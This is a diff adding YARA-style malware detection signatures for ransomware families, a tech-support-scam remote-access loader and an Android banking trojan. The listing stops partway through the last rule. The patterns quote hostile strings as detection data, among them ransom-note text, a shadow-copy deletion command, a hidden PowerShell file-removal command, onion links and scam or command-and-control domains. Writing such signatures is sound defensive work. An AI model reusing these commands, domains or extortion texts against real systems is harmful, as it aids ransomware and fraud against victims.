Ransom_Win64_RALord_A{ + meta: + description = "Ransom:Win64/RALord.A,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 00 " + + strings : + $a_01_0 = {45 6e 63 72 79 70 74 69 6f 6e 20 66 61 69 6c 65 64 3a 20 } //5 Encryption failed: + $a_01_1 = {55 6e 73 61 66 65 20 65 6e 76 69 72 6f 6e 6d 65 6e 74 20 64 65 74 65 63 74 65 64 20 2d 20 64 65 6c 61 79 69 6e 67 20 } //5 Unsafe environment detected - delaying + $a_01_2 = {52 4e 4f 56 41 } //1 RNOVA + $a_01_3 = {4e 6f 76 61 } //1 Nova + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*5+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=11 + +} \ No newline at end of file diff --git a/Ransom/Win64/RALord/Ransom_Win64_RALord_B.yar b/Ransom/Win64/RALord/Ransom_Win64_RALord_B.yar new file mode 100644 index 0000000000..93fa423052 --- /dev/null +++ b/Ransom/Win64/RALord/Ransom_Win64_RALord_B.yar @@ -0,0 +1,11 @@ + +rule Ransom_Win64_RALord_B{ + meta: + description = "Ransom:Win64/RALord.B,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {01 00 00 55 c6 85 ?? 01 00 00 aa c6 85 ?? 01 00 00 00 c6 85 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Ransom/Win64/RALord/Ransom_Win64_RALord_BB_MTB.yar b/Ransom/Win64/RALord/Ransom_Win64_RALord_BB_MTB.yar new file mode 100644 index 0000000000..4ba2f45ee2 --- /dev/null +++ b/Ransom/Win64/RALord/Ransom_Win64_RALord_BB_MTB.yar @@ -0,0 +1,13 @@ + +rule Ransom_Win64_RALord_BB_MTB{ + meta: + description = "Ransom:Win64/RALord.BB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {52 41 4c 6f 72 64 20 72 61 6e 73 6f 6d 77 61 72 65 } //1 RALord ransomware + $a_01_1 = {2e 6f 6e 69 6f 6e } //1 .onion + $a_01_2 = {70 6c 65 61 73 65 20 64 6f 20 6e 6f 74 20 74 6f 75 63 68 20 74 68 65 20 66 69 6c 65 73 20 62 65 63 6f 75 73 65 20 77 65 20 63 61 6e 27 74 20 64 65 63 72 79 70 74 20 69 74 20 69 66 20 79 6f 75 20 74 6f 75 63 68 20 69 74 } //1 please do not touch the files becouse we can't decrypt it if you touch it + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Ransom/Win64/RALord/Ransom_Win64_RALord_SCR_MTB.yar b/Ransom/Win64/RALord/Ransom_Win64_RALord_SCR_MTB.yar new file mode 100644 index 0000000000..b6ac6eb23b --- /dev/null +++ b/Ransom/Win64/RALord/Ransom_Win64_RALord_SCR_MTB.yar @@ -0,0 +1,13 @@ + +rule Ransom_Win64_RALord_SCR_MTB{ + meta: + description = "Ransom:Win64/RALord.SCR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_81_0 = {44 45 43 52 59 50 54 49 4f 4e 5f 4b 45 59 2e 74 78 74 } //2 DECRYPTION_KEY.txt + $a_81_1 = {4d 41 43 48 49 4e 45 5f 49 4e 46 4f 2e 74 78 74 } //1 MACHINE_INFO.txt + $a_81_2 = {2e 65 6e 63 72 79 70 74 65 64 } //1 .encrypted + condition: + ((#a_81_0 & 1)*2+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Ransom/Win64/RAWorld/Ransom_Win64_RAWorld_YAF_MTB.yar b/Ransom/Win64/RAWorld/Ransom_Win64_RAWorld_YAF_MTB.yar new file mode 100644 index 0000000000..41ee480cbb --- /dev/null +++ b/Ransom/Win64/RAWorld/Ransom_Win64_RAWorld_YAF_MTB.yar @@ -0,0 +1,17 @@ + +rule Ransom_Win64_RAWorld_YAF_MTB{ + meta: + description = "Ransom:Win64/RAWorld.YAF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 00 " + + strings : + $a_01_0 = {52 41 20 57 6f 72 6c 64 } //1 RA World + $a_01_1 = {64 61 74 61 20 61 72 65 20 73 74 6f 6c 65 6e 20 61 6e 64 20 65 6e 63 72 79 70 74 65 64 } //1 data are stolen and encrypted + $a_01_2 = {64 6f 6e 27 74 20 70 61 79 } //1 don't pay + $a_01_3 = {72 65 6c 65 61 73 65 20 74 68 65 20 64 61 74 61 } //1 release the data + $a_01_4 = {64 65 63 72 79 70 74 20 73 6f 6d 65 20 66 69 6c 65 73 } //1 decrypt some files + $a_01_5 = {64 65 63 72 79 70 74 69 6f 6e 20 74 6f 6f 6c 20 } //1 decryption tool + $a_01_6 = {74 68 65 20 68 69 67 68 65 72 20 72 61 6e 73 6f 6d } //1 the higher ransom + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Ransom/Win64/RookLock/Ransom_Win64_RookLock_YAG_MTB.yar b/Ransom/Win64/RookLock/Ransom_Win64_RookLock_YAG_MTB.yar new file mode 100644 index 0000000000..612d4b03ec --- /dev/null +++ b/Ransom/Win64/RookLock/Ransom_Win64_RookLock_YAG_MTB.yar @@ -0,0 +1,13 @@ + +rule Ransom_Win64_RookLock_YAG_MTB{ + meta: + description = "Ransom:Win64/RookLock.YAG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 03 00 00 " + + strings : + $a_01_0 = {57 72 75 35 65 69 72 6e 41 77 6f 6a 5a 76 46 4f 77 75 47 66 58 78 6c 2b 4f 71 6c 59 33 53 67 59 63 4c 58 38 38 4e 75 35 74 52 56 77 79 58 61 46 53 39 79 6d 2b 2b 69 54 42 79 61 54 70 78 64 2b } //5 Wru5eirnAwojZvFOwuGfXxl+OqlY3SgYcLX88Nu5tRVwyXaFS9ym++iTByaTpxd+ + $a_01_1 = {69 4b 67 6b 79 6b 47 46 30 30 48 4b 48 72 62 69 55 30 33 39 68 4a 35 42 66 53 46 6c 69 62 69 57 6b 56 62 43 4c 75 63 } //5 iKgkykGF00HKHrbiU039hJ5BfSFlibiWkVbCLuc + $a_01_2 = {2e 00 6c 00 6f 00 63 00 6b 00 65 00 64 00 } //1 .locked + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*5+(#a_01_2 & 1)*1) >=11 + +} \ No newline at end of file diff --git a/Ransom/Win64/RoundeRan/Ransom_Win64_RoundeRan_YAE_MTB.yar b/Ransom/Win64/RoundeRan/Ransom_Win64_RoundeRan_YAE_MTB.yar new file mode 100644 index 0000000000..9a819a28ab --- /dev/null +++ b/Ransom/Win64/RoundeRan/Ransom_Win64_RoundeRan_YAE_MTB.yar @@ -0,0 +1,17 @@ + +rule Ransom_Win64_RoundeRan_YAE_MTB{ + meta: + description = "Ransom:Win64/RoundeRan.YAE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 07 00 00 " + + strings : + $a_01_0 = {59 6f 75 72 20 66 69 6c 65 73 20 61 72 65 20 63 75 72 72 65 6e 74 6c 79 20 65 6e 63 72 79 70 74 65 64 } //10 Your files are currently encrypted + $a_01_1 = {64 65 63 72 79 70 74 6f 72 20 6b 65 79 } //1 decryptor key + $a_01_2 = {72 65 73 75 6c 74 20 69 6e 20 64 61 74 61 20 6c 6f 73 73 } //1 result in data loss + $a_01_3 = {72 65 73 74 6f 72 65 20 73 6f 6d 65 20 66 69 6c 65 73 20 66 6f 72 20 66 72 65 65 } //1 restore some files for free + $a_01_4 = {64 61 74 61 20 74 6f 20 62 65 20 6c 6f 73 74 20 66 6f 72 65 76 65 72 } //1 data to be lost forever + $a_01_5 = {64 61 74 61 20 6c 65 61 6b 73 } //1 data leaks + $a_01_6 = {67 65 74 20 69 6e 74 6f 20 74 68 65 20 6d 65 64 69 61 } //1 get into the media + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=16 + +} \ No newline at end of file diff --git a/Ransom/Win64/Sarcoma/Ransom_Win64_Sarcoma_BAA_MTB.yar b/Ransom/Win64/Sarcoma/Ransom_Win64_Sarcoma_BAA_MTB.yar new file mode 100644 index 0000000000..b0899d7a65 --- /dev/null +++ b/Ransom/Win64/Sarcoma/Ransom_Win64_Sarcoma_BAA_MTB.yar @@ -0,0 +1,17 @@ + +rule Ransom_Win64_Sarcoma_BAA_MTB{ + meta: + description = "Ransom:Win64/Sarcoma.BAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 00 " + + strings : + $a_81_0 = {46 41 49 4c 5f 53 54 41 54 45 5f 4e 4f 54 49 46 49 43 41 54 49 4f 4e 2e 70 64 66 } //1 FAIL_STATE_NOTIFICATION.pdf + $a_03_1 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 [0-38] 2e 00 6f 00 6e 00 69 00 6f 00 6e 00 2f 00 3f 00 } //1 + $a_03_2 = {68 74 74 70 3a 2f 2f [0-38] 2e 6f 6e 69 6f 6e 2f 3f } //1 + $a_81_3 = {74 6f 72 20 62 72 6f 77 73 65 72 } //1 tor browser + $a_81_4 = {53 74 6f 6c 65 6e } //1 Stolen + $a_81_5 = {2e 6c 6f 63 6b } //1 .lock + $a_81_6 = {70 6f 77 65 72 73 68 65 6c 6c 20 2d 77 20 68 20 2d 63 20 53 74 61 72 74 2d 53 6c 65 65 70 20 2d 53 65 63 6f 6e 64 73 20 35 3b 20 52 65 6d 6f 76 65 2d 49 74 65 6d 20 2d 46 6f 72 63 65 20 2d 50 61 74 68 } //1 powershell -w h -c Start-Sleep -Seconds 5; Remove-Item -Force -Path + condition: + ((#a_81_0 & 1)*1+(#a_03_1 & 1)*1+(#a_03_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Ransom/Win64/Sinobi/Ransom_Win64_Sinobi_YAC_MTB.yar b/Ransom/Win64/Sinobi/Ransom_Win64_Sinobi_YAC_MTB.yar new file mode 100644 index 0000000000..b07a844aea --- /dev/null +++ b/Ransom/Win64/Sinobi/Ransom_Win64_Sinobi_YAC_MTB.yar @@ -0,0 +1,16 @@ + +rule Ransom_Win64_Sinobi_YAC_MTB{ + meta: + description = "Ransom:Win64/Sinobi.YAC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 00 " + + strings : + $a_01_0 = {2d 2d 65 6e 63 72 79 70 74 2d 6e 65 74 77 6f 72 6b } //1 --encrypt-network + $a_01_1 = {2d 2d 6e 6f 2d 62 61 63 6b 67 72 6f 75 6e 64 } //1 --no-background + $a_01_2 = {45 6e 63 72 79 70 74 20 6f 6e 6c 79 20 73 70 65 63 69 66 69 65 64 20 64 69 72 65 63 74 6f 72 79 } //1 Encrypt only specified directory + $a_01_3 = {4c 6f 61 64 20 68 69 64 64 65 6e 20 64 72 69 76 65 73 20 } //1 Load hidden drives + $a_01_4 = {45 6e 63 72 79 70 74 69 6f 6e 20 6d 6f 64 65 } //1 Encryption mode + $a_01_5 = {45 6e 61 62 6c 65 20 73 69 6c 65 6e 74 20 65 6e 63 72 79 70 74 69 6f 6e 20 28 6e 6f 20 65 78 74 65 6e 73 69 6f 6e 20 61 6e 64 20 6e 6f 74 65 73 20 77 69 6c 6c 20 62 65 20 61 64 64 65 64 29 } //10 Enable silent encryption (no extension and notes will be added) + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*10) >=15 + +} \ No newline at end of file diff --git a/Ransom/Win64/TherRansom/Ransom_Win64_TherRansom_YAC_MTB.yar b/Ransom/Win64/TherRansom/Ransom_Win64_TherRansom_YAC_MTB.yar new file mode 100644 index 0000000000..fb979b47f7 --- /dev/null +++ b/Ransom/Win64/TherRansom/Ransom_Win64_TherRansom_YAC_MTB.yar @@ -0,0 +1,13 @@ + +rule Ransom_Win64_TherRansom_YAC_MTB{ + meta: + description = "Ransom:Win64/TherRansom.YAC!MTB,SIGNATURE_TYPE_PEHSTR,0e 00 0e 00 03 00 00 " + + strings : + $a_01_0 = {59 4f 55 20 48 41 56 45 20 42 45 45 4e 20 48 41 43 4b 45 44 20 42 59 20 54 48 45 46 4f 4c 4c 4f 57 45 52 53 } //10 YOU HAVE BEEN HACKED BY THEFOLLOWERS + $a_01_1 = {41 4c 4c 20 4f 46 20 59 4f 55 52 20 46 49 4c 45 53 20 48 41 56 45 20 42 45 45 4e 20 45 4e 43 52 59 50 54 45 44 } //2 ALL OF YOUR FILES HAVE BEEN ENCRYPTED + $a_01_2 = {57 61 6e 6e 61 43 72 79 20 2d 20 52 61 6e 73 6f 6d 77 61 72 65 } //2 WannaCry - Ransomware + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2) >=14 + +} \ No newline at end of file diff --git a/Ransom/Win64/ViceSociety/Ransom_Win64_ViceSociety_SM_MTB.yar b/Ransom/Win64/ViceSociety/Ransom_Win64_ViceSociety_SM_MTB.yar new file mode 100644 index 0000000000..e399232549 --- /dev/null +++ b/Ransom/Win64/ViceSociety/Ransom_Win64_ViceSociety_SM_MTB.yar @@ -0,0 +1,16 @@ + +rule Ransom_Win64_ViceSociety_SM_MTB{ + meta: + description = "Ransom:Win64/ViceSociety.SM!MTB,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 00 " + + strings : + $a_01_0 = {49 00 66 00 20 00 79 00 6f 00 75 00 20 00 67 00 65 00 74 00 20 00 74 00 68 00 69 00 73 00 20 00 6d 00 65 00 73 00 73 00 61 00 67 00 65 00 2c 00 20 00 79 00 6f 00 75 00 72 00 20 00 6e 00 65 00 74 00 77 00 6f 00 72 00 6b 00 20 00 77 00 61 00 73 00 20 00 68 00 61 00 63 00 6b 00 65 00 64 00 21 00 } //1 If you get this message, your network was hacked! + $a_01_1 = {73 00 65 00 6e 00 73 00 69 00 74 00 69 00 76 00 65 00 20 00 64 00 61 00 74 00 61 00 20 00 61 00 6e 00 64 00 20 00 74 00 68 00 65 00 6e 00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 20 00 61 00 6c 00 6c 00 20 00 74 00 68 00 65 00 20 00 64 00 61 00 74 00 61 00 } //1 sensitive data and then encrypted all the data + $a_01_2 = {43 00 6f 00 6e 00 74 00 61 00 63 00 74 00 20 00 75 00 73 00 20 00 66 00 6f 00 72 00 20 00 70 00 72 00 69 00 63 00 65 00 20 00 61 00 6e 00 64 00 20 00 67 00 65 00 74 00 20 00 64 00 65 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 6e 00 } //1 Contact us for price and get decryption + $a_01_3 = {73 00 74 00 61 00 72 00 74 00 20 00 44 00 44 00 4f 00 53 00 20 00 61 00 74 00 74 00 61 00 63 00 6b 00 20 00 6f 00 6e 00 20 00 79 00 6f 00 75 00 20 00 77 00 65 00 62 00 73 00 69 00 74 00 65 00 20 00 61 00 6e 00 64 00 20 00 69 00 6e 00 66 00 72 00 61 00 73 00 74 00 72 00 75 00 63 00 74 00 75 00 72 00 65 00 73 00 2e 00 } //1 start DDOS attack on you website and infrastructures. + $a_01_4 = {76 00 73 00 73 00 61 00 64 00 6d 00 69 00 6e 00 2e 00 65 00 78 00 65 00 20 00 44 00 65 00 6c 00 65 00 74 00 65 00 20 00 53 00 68 00 61 00 64 00 6f 00 } //1 vssadmin.exe Delete Shado + $a_01_5 = {64 00 65 00 6c 00 20 00 44 00 65 00 66 00 61 00 75 00 6c 00 74 00 2e 00 72 00 64 00 70 00 } //1 del Default.rdp + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Ransom/Win64/Vortex/Ransom_Win64_Vortex_MX_MTB.yar b/Ransom/Win64/Vortex/Ransom_Win64_Vortex_MX_MTB.yar new file mode 100644 index 0000000000..b469fcc207 --- /dev/null +++ b/Ransom/Win64/Vortex/Ransom_Win64_Vortex_MX_MTB.yar @@ -0,0 +1,18 @@ + +rule Ransom_Win64_Vortex_MX_MTB{ + meta: + description = "Ransom:Win64/Vortex.MX!MTB,SIGNATURE_TYPE_PEHSTR,07 00 07 00 08 00 00 " + + strings : + $a_01_0 = {76 00 63 00 72 00 79 00 78 00 2e 00 65 00 78 00 65 00 } //5 vcryx.exe + $a_01_1 = {56 00 6f 00 72 00 74 00 65 00 78 00 43 00 72 00 79 00 } //1 VortexCry + $a_01_2 = {24 30 32 38 63 39 35 65 39 2d 62 64 30 33 2d 34 61 62 31 2d 61 32 30 61 2d 36 65 35 35 65 32 38 39 65 62 30 65 } //1 $028c95e9-bd03-4ab1-a20a-6e55e289eb0e + $a_01_3 = {76 00 63 00 72 00 79 00 2e 00 64 00 6c 00 6c 00 } //3 vcry.dll + $a_01_4 = {6d 79 73 65 6c 66 2e 64 6c 6c } //1 myself.dll + $a_01_5 = {56 6f 72 74 65 78 53 65 63 4f 70 73 } //1 VortexSecOps + $a_01_6 = {65 6e 63 72 79 70 65 64 } //1 encryped + $a_01_7 = {24 63 62 33 36 66 61 36 35 2d 63 33 65 39 2d 34 61 66 37 2d 62 30 30 66 2d 65 32 33 32 61 35 63 38 35 66 32 66 } //1 $cb36fa65-c3e9-4af7-b00f-e232a5c85f2f + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*3+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Ransom/Win64/WarLock/Ransom_Win64_WarLock_A.yar b/Ransom/Win64/WarLock/Ransom_Win64_WarLock_A.yar new file mode 100644 index 0000000000..84778e6f23 --- /dev/null +++ b/Ransom/Win64/WarLock/Ransom_Win64_WarLock_A.yar @@ -0,0 +1,17 @@ + +rule Ransom_Win64_WarLock_A{ + meta: + description = "Ransom:Win64/WarLock.A,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 00 " + + strings : + $a_01_0 = {2e 00 78 00 32 00 61 00 6e 00 79 00 6c 00 6f 00 63 00 6b 00 00 00 } //3 + $a_03_1 = {43 41 41 52 43 55 70 64 61 74 65 53 76 63 ?? ?? 73 00 71 00 6c 00 2e 00 65 00 78 00 65 } //3 + $a_01_2 = {49 00 6d 00 70 00 6f 00 72 00 74 00 61 00 6e 00 74 00 21 00 21 00 21 00 2e 00 70 00 64 00 66 00 } //1 Important!!!.pdf + $a_01_3 = {64 00 65 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 6e 00 64 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 6e 00 2e 00 70 00 64 00 66 00 } //1 decryptiondescription.pdf + $a_01_4 = {48 00 6f 00 77 00 20 00 74 00 6f 00 20 00 64 00 65 00 63 00 72 00 79 00 70 00 74 00 20 00 6d 00 79 00 20 00 64 00 61 00 74 00 61 00 2e 00 74 00 78 00 74 00 } //1 How to decrypt my data.txt + $a_00_5 = {5c 64 65 63 72 79 70 74 2e 70 64 62 } //-3 \decrypt.pdb + $a_01_6 = {4d 47 46 31 00 00 00 00 52 53 41 00 00 00 00 00 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 52 49 56 41 54 45 20 4b 45 59 2d 2d 2d 2d 2d } //-3 + condition: + ((#a_01_0 & 1)*3+(#a_03_1 & 1)*3+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_00_5 & 1)*-3+(#a_01_6 & 1)*-3) >=7 + +} \ No newline at end of file diff --git a/SupportScam/Win32/Screcwon/SupportScam_Win32_Screcwon_MA_MTB.yar b/SupportScam/Win32/Screcwon/SupportScam_Win32_Screcwon_MA_MTB.yar new file mode 100644 index 0000000000..91c6c34f3a --- /dev/null +++ b/SupportScam/Win32/Screcwon/SupportScam_Win32_Screcwon_MA_MTB.yar @@ -0,0 +1,31 @@ + +rule SupportScam_Win32_Screcwon_MA_MTB{ + meta: + description = "SupportScam:Win32/Screcwon.MA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 15 00 00 " + + strings : + $a_81_0 = {43 3a 5c 55 73 65 72 73 5c 6a 6d 6f 72 67 61 6e 5c 53 6f 75 72 63 65 5c 63 77 63 6f 6e 74 72 6f 6c 5c 4d 69 73 63 5c 42 6f 6f 74 73 74 72 61 70 70 65 72 5c 52 65 6c 65 61 73 65 5c 43 6c 69 63 6b 4f 6e 63 65 52 75 6e 6e 65 72 2e 70 64 62 } //20 C:\Users\jmorgan\Source\cwcontrol\Misc\Bootstrapper\Release\ClickOnceRunner.pdb + $a_81_1 = {43 3a 5c 55 73 65 72 73 5c 6a 6d 6f 72 67 61 6e 5c 53 6f 75 72 63 65 5c 63 77 63 6f 6e 74 72 6f 6c 5c 43 75 73 74 6f 6d 5c 44 6f 74 4e 65 74 52 75 6e 6e 65 72 5c 52 65 6c 65 61 73 65 5c 44 6f 74 4e 65 74 52 75 6e 6e 65 72 2e 70 64 62 } //20 C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetRunner.pdb + $a_81_2 = {2e 74 6f 70 } //1 .top + $a_81_3 = {2e 69 6e 6e 6f 63 72 65 65 64 2e 63 6f 6d } //1 .innocreed.com + $a_81_4 = {2e 63 6f 6e 74 72 6f 6c 68 75 62 2e 65 73 } //1 .controlhub.es + $a_81_5 = {2e 72 61 74 6f 73 63 72 65 65 6e 63 6f 2e 63 6f 6d } //1 .ratoscreenco.com + $a_81_6 = {2e 73 63 72 65 65 6e 73 63 6f 6e 6e 65 63 74 70 72 6f 2e 63 6f 6d } //1 .screensconnectpro.com + $a_81_7 = {73 6c 70 6c 65 67 61 6c 66 69 6e 61 6e 63 65 2e 63 6f 6d } //1 slplegalfinance.com + $a_81_8 = {2e 66 69 6c 65 73 64 6f 6e 77 6c 6f 61 64 73 2e 63 6f 6d } //1 .filesdonwloads.com + $a_81_9 = {77 69 7a 7a 2e 69 6e 66 69 6e 69 74 79 63 6c 6f 75 64 2e 6f 72 67 } //1 wizz.infinitycloud.org + $a_81_10 = {6c 6c 6b 74 35 30 31 2e 64 64 6e 73 2e 6e 65 74 } //1 llkt501.ddns.net + $a_81_11 = {79 6f 75 72 72 6c 64 6e 73 32 32 2e 68 6f 70 74 6f 2e 6f 72 67 } //1 yourrldns22.hopto.org + $a_81_12 = {77 6b 33 36 62 61 63 6b 39 36 36 2e 73 69 74 65 } //1 wk36back966.site + $a_81_13 = {76 6f 69 64 2e 63 6f 72 73 61 7a 6f 6e 65 2e 63 6f 6d } //1 void.corsazone.com + $a_81_14 = {72 65 6c 61 79 2e 7a 69 61 64 70 61 6e 65 65 6c 2e 63 6f 6d } //1 relay.ziadpaneel.com + $a_81_15 = {6d 61 69 6c 2e 73 65 63 75 72 65 64 6f 63 75 6d 65 6e 74 66 69 6c 65 64 6f 77 6e 6c 6f 61 64 2e 63 6f 6d } //1 mail.securedocumentfiledownload.com + $a_81_16 = {64 75 61 6c 2e 73 61 6c 74 75 74 61 2e 63 6f 6d } //1 dual.saltuta.com + $a_81_17 = {2e 6f 72 67 61 6e 7a 6f 70 65 72 61 74 65 2e 63 6f 6d } //1 .organzoperate.com + $a_81_18 = {2e 65 70 68 65 6c 70 2e 73 69 74 65 } //1 .ephelp.site + $a_81_19 = {64 63 6f 6e 74 72 6f 6c 2e 67 75 69 64 7a 69 6e 2e 63 6f 6d } //1 dcontrol.guidzin.com + $a_81_20 = {64 6f 63 73 2e 76 69 65 77 79 6f 75 72 73 74 61 74 65 6d 65 6e 74 6f 6e 6c 69 6e 65 2e 63 6f 6d } //1 docs.viewyourstatementonline.com + condition: + ((#a_81_0 & 1)*20+(#a_81_1 & 1)*20+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1+(#a_81_12 & 1)*1+(#a_81_13 & 1)*1+(#a_81_14 & 1)*1+(#a_81_15 & 1)*1+(#a_81_16 & 1)*1+(#a_81_17 & 1)*1+(#a_81_18 & 1)*1+(#a_81_19 & 1)*1+(#a_81_20 & 1)*1) >=21 + +} \ No newline at end of file diff --git a/SupportScam/Win32/Screcwon/SupportScam_Win32_Screcwon_MD_MTB.yar b/SupportScam/Win32/Screcwon/SupportScam_Win32_Screcwon_MD_MTB.yar new file mode 100644 index 0000000000..79fa05a879 --- /dev/null +++ b/SupportScam/Win32/Screcwon/SupportScam_Win32_Screcwon_MD_MTB.yar @@ -0,0 +1,20 @@ + +rule SupportScam_Win32_Screcwon_MD_MTB{ + meta: + description = "SupportScam:Win32/Screcwon.MD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,32 00 32 00 0a 00 00 " + + strings : + $a_81_0 = {52 65 6c 65 61 73 65 5c 43 6c 69 63 6b 4f 6e 63 65 52 75 6e 6e 65 72 2e 70 64 62 } //20 Release\ClickOnceRunner.pdb + $a_81_1 = {52 65 6c 65 61 73 65 5c 44 6f 74 4e 65 74 52 75 6e 6e 65 72 2e 70 64 62 } //20 Release\DotNetRunner.pdb + $a_81_2 = {2e 66 69 6c 65 73 64 6f 6e 77 6c 6f 61 64 73 2e 63 6f 6d } //30 .filesdonwloads.com + $a_81_3 = {72 65 6c 61 79 2e 6d 61 67 61 72 65 74 63 61 70 2e 63 6f 6d } //30 relay.magaretcap.com + $a_81_4 = {72 65 6c 61 79 2e 73 68 69 70 70 65 72 7a 6f 6e 65 2e 6f 6e 6c 69 6e 65 } //30 relay.shipperzone.online + $a_81_5 = {66 6d 74 32 61 73 2e 64 64 6e 73 2e 6e 65 74 } //30 fmt2as.ddns.net + $a_81_6 = {61 70 70 2e 72 61 74 6f 73 63 72 65 65 6e 73 65 6c 6c 2e 63 6f 6d } //30 app.ratoscreensell.com + $a_81_7 = {72 65 6c 61 79 2e 61 6c 65 33 72 74 2e 69 6e } //30 relay.ale3rt.in + $a_81_8 = {6d 69 63 72 6f 73 6f 66 66 65 65 64 64 34 61 63 6b 61 70 69 7a 2e 65 6e 74 65 72 70 72 69 73 65 73 6f 6c 75 74 69 6f 6e 73 2e 73 75 } //30 microsoffeedd4ackapiz.enterprisesolutions.su + $a_81_9 = {2e 70 75 74 69 6e 73 77 69 6e 2e 65 73 } //30 .putinswin.es + condition: + ((#a_81_0 & 1)*20+(#a_81_1 & 1)*20+(#a_81_2 & 1)*30+(#a_81_3 & 1)*30+(#a_81_4 & 1)*30+(#a_81_5 & 1)*30+(#a_81_6 & 1)*30+(#a_81_7 & 1)*30+(#a_81_8 & 1)*30+(#a_81_9 & 1)*30) >=50 + +} \ No newline at end of file diff --git a/Trojan/AndroidOS/Banker/Trojan_AndroidOS_Banker_AC_MTB.yar b/Trojan/AndroidOS/Banker/Trojan_AndroidOS_Banker_AC_MTB.yar new file mode 100644 index 0000000000..333645cccd --- /dev/null +++ b/Trojan/AndroidOS/Banker/Trojan_AndroidOS_Banker_AC_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_AndroidOS_Banker_AC_MTB{ + meta: + description = "Trojan:AndroidOS/Banker.AC!MTB,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 03 00 00 " + + strings : + $a_01_0 = {1a 01 11 02 71 10 d3 01 01 00 0a 01 97 00 00 01 0f 00 3c 00 01 00 02 00 00 00 f4 4c 00 00 96 00 00 00 08 08 3b 00 12 01 71 00 d1 01 00 00 0c 03 71 00 d1 01 00 00 0c 02 01 10 } //1 + $a_01_1 = {22 04 3a 00 70 10 6d 00 04 00 71 20 e2 01 34 00 0c 03 71 10 25 01 00 00 0c 04 71 20 e2 01 43 00 0c 03 71 10 99 01 03 00 0c 03 22 04 3a 00 70 10 6d 00 04 00 71 20 e2 01 24 00 0c 02 71 00 04 01 00 00 0b 04 13 06 0a 00 83 66 cd 64 8a 44 b7 04 71 20 94 01 42 00 0c 02 71 10 99 01 02 00 0c 02 d8 00 00 01 28 a1 71 20 e4 01 08 00 0a 05 71 20 dd 00 53 00 0a 05 e0 05 05 04 d8 06 00 01 71 20 e4 01 68 00 0a 06 71 20 dd 00 63 00 0a 06 b6 65 71 20 fb 00 54 00 d8 00 00 02 28 9c } //1 + $a_01_2 = {14 24 03 00 00 00 77 04 b1 01 22 00 0c 22 08 06 22 00 71 20 e2 01 64 00 0c 04 71 10 99 01 04 00 0c 04 71 20 e2 01 40 00 0c 04 12 00 1f 00 34 00 71 20 d4 00 03 00 0c 00 71 20 b0 01 04 00 0c 00 71 10 99 01 00 00 0c 00 71 20 ee 00 05 00 d8 00 01 01 01 01 29 00 4c ff 0d 00 77 00 65 01 00 00 0c 19 14 1c d7 07 00 00 14 1a f8 00 00 00 14 1b 0c 00 00 00 77 04 b1 01 19 00 0c 19 08 03 19 00 77 00 65 01 00 00 0c 17 